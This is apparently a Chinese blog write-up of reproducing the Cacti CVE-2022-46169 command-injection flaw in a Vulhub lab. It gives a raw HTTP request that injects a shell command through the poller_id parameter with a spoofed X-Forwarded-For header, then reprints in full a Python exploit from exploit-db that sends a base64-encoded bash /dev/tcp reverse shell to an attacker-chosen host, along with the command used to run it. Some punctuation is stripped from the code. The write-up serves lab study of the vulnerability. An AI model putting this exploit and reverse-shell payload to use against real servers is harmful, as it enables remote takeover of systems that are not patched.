Vulhub 中的 Cacti CVE-2022-46169
0x00 前言声明本文仅做学习交流遵守《网络安全法》。先学习原理Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。有时候会看报告说XFF头丢失指的就是这个了。之前学习的时候有一个漏洞是在burp抓取到的数据包中加上XFF: 127.0.0.1 之后就可以访问网站了。0x01 环境搭建一开始以为和其它的环境一样没想到复现之前还要先设置一下环境。在靶机访问localhost:8080使用默认用户名和密码登录进设置界面。一路确定下一步。一直到设置网络这里由于笔者的网段和默认不一样因此稍做修改。继续一路下一步。它说完成了不代表环境配置完了都是坑。重新登录进行环境设置。选择新图形-创建-Device-Uptime。创建至此环境已成0x02 CVE-2022-46169假装用nmap扫描一下端口。访问8080端口并抓包。发送到repeater里构造数据包。GET /remote_agent.php?actionpolldatalocal_data_ids[0]6host_id1poller_idtouch/tmp/success HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8 Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1发送值得注意的是响应包的最后一行如果前面环境配置不正确只会显示“[]”。回到靶机查看poc是不是有效。sudo docker compose exec web bash有的。于是就开始踩了坑笔者以为是把后面的touch命令换成bash就可以nc反弹shell了结果直接构造也试了编码也试过了nc就一点反应也没有。后来去exploit-db查看了一下。结合了大佬优化过后的poc。在此向大佬表示感谢。# https://www.exploit-db.com/exploits/51166 # Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE) # Exploit Author: Riadh BOUCHAHOUA # Discovery Date: 2022-12-08 # Vendor Homepage: https://www.cacti.net/ # Software Links : https://github.com/Cacti/cacti # Tested Version: 1.2.2x 1.2.22 # CVE: CVE-2022-46169 # Tested on OS: Debian 10/11 # !/usr/bin/env python3 import random import sys import httpx, urllib class Exploit: def __init__(self, url, proxyNone, rs_host, rs_port): self.url url self.session httpx.Client(headers{User-Agent: self.random_user_agent()}, verifyFalse, proxiesproxy) self.rs_host rs_host self.rs_port rs_port def exploit(self): # cacti local ip from the url for the X-Forwarded-For header # local_cacti_ip self.url.split(//)[1].split(/)[0] local_cacti_ip 127.0.0.1 headers { X-Forwarded-For: f{local_cacti_ip} } revshell fbash -c exec bash -i /dev/tcp/{self.rs_host}/{self.rs_port} 1 import base64 b64_revshell base64.b64encode(revshell.encode()).decode() payload f;echo {b64_revshell} | base64 -d | bash - payload urllib.parse.quote(payload) urls [] # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell) for host_id in range(1, 100): for local_data_ids in range(1, 100): urls.append( f{self.url}/remote_agent.php?actionpolldatalocal_data_ids[]{local_data_ids}host_id{host_id}poller_id1{payload}) for url in urls: try: print([*]try: {}.format(urllib.parse.unquote(url))) r self.session.get(url, headersheaders) print(f{r.status_code} - {r.text}) except Exception as e: print(e) sys.exit() pass def random_user_agent(self): ua_list [ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0, ] return random.choice(ua_list) def parse_args(): import argparse argparser argparse.ArgumentParser() argparser.add_argument(-u, --url, helpTarget URL (e.g. http://192.168.1.100/cacti)) argparser.add_argument(-p, --remote_port, helpreverse shell port to connect to, requiredTrue) argparser.add_argument(-i, --remote_ip, helpreverse shell IP to connect to, requiredTrue) return argparser.parse_args() def main() - None: # Open a nc listener (rs_hostrs_port) and run the script against a CACTI server with its LOCAL IP URL args parse_args() e Exploit(args.url, rs_hostargs.remote_ip, rs_portargs.remote_port) e.exploit() if __name__ __main__: main()使用方法也很简单。开启nc。执行poc。python3 cacti.py -u http://192.168.217.166:8080 -i 192.168.217.177 -p 8888做了很长时间的等待。可算是成功了。0x03 总结总的来讲这是一个挺折腾的漏洞。一个是配置环境虽然不繁琐但是需要一点耐心。同时在执行poc时由于系统问题poc是在Linux环境下运行的在windows环境下会报错当时排查错误也用了很久最后的解决方法是 利用linux执行poc同时在windows环境下开启监听端口。